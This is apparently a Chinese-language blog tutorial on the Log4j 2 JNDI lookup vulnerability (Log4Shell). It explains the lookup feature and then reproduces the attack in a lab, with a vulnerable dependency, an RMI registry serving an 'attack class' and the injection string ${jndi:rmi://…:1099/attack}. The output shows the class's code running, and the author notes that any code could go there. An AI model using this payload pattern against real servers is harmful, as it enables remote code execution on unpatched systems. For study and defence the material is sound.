log4j

Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

漏洞简介

此次的漏洞出现,正是由于Log4j 2 提供的lookup功能造成的,该功能允许开发者通过一些协议读取相应环境中的配置,但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

简单来说,就是在打印日志时,如果发现日志内容中包含关键词${ ,那么这个里面的内容就可以当作变量来进行替换,导致攻击者可以任意执行命令。

漏洞使用

简单来看一下嗷,搭建一下环境

log4j2.xml、依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>1
</Root>
</Loggers>
</Configuration>
1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
</dependencies>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.cdw;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTest {

private static final Logger logger = LogManager.getLogger();

public static void main(String[] args) {
String username = "cdw";

logger.info("Hello {}", username);
}
}

运行结果:
11:50:19.111 [main] INFO com.cdw.Log4j2Test - Hello cdw

可以看到这里日志的输出正常,将我的字符串输出到了控制台

稍微修改一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2Test {

private static final Logger logger = LogManager.getLogger();

public static void main(String[] args) {
String username = "${java:vm}";

logger.info("Hello {}", username);
}
}

运行结果:
11:52:35.483 [main] INFO com.cdw.Log4j2Test - Hello Java HotSpot(TM) 64-Bit Server VM (build 25.181-b13, mixed mode)

看看不一样了,居然打印了我虚拟机的一些信息,这就是lookup扩展,具体这里不详细说了,但有个问题,lookup这个功能是基于jndi,jndi支持rmi,问题就出现了。

JNDI(The Java Naming and Directory Interface,Java 命名和目录接口) 是一组在Java 应用中访问命名和目录服务的API。为开发人员提供了查找和访问各种命名和目录服务的通用、统一的方式。借助于JNDI 提供的接口,能够通过名字定位用户、机器、网络、对象服务等。

RMI(Remote Method Invocation)远程方法调用是一种计算机之间对象互相调用对方函数,启动对方进程的一种机制,使用这种机制,某一台计算机上的对象在调用另外一台计算机上的方法时,使用的程序语法规则和在本地机上对象间的方法调用的语法规则一样。

我先创建一个攻击类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class AttackJob implements ObjectFactory {
static {
System.out.println("你已经被我攻击了");
}

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("攻击");

return "攻击";
}
}

然后创建一个注册的服务类,将我的攻击类注册到里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {
public static void main(String[] args) {
try {
//创建一个本地的注册
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
Reference reference = new Reference("com.cdw.jndi.AttackJob","com.cdw.jndi.AttackJob", "com.cdw.jndi.AttackJob");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
//将我的攻击类绑定
registry.bind("attack", referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}

}
}

修改一下${}中的参数,直接调用,我们看看结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2Test {

private static final Logger logger = LogManager.getLogger();

public static void main(String[] args) {
//我这里jdk版本为 8u181 jndi + rmi需要开启
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

//String username = "${java:vm}";
//注意这里
String username = "${jndi:rmi://10.33.101.102:1099/attack}";

logger.info("Hello {}", username);
}
}


运行结果
你已经被我攻击了
攻击
14:07:01.582 [main] INFO com.cdw.Log4j2Test - Hello 攻击

可以很明显的看见,并没有输出日志,而是运行了我在攻击类中定义的代码,当然你也可以在代码中写任何你想要的操作。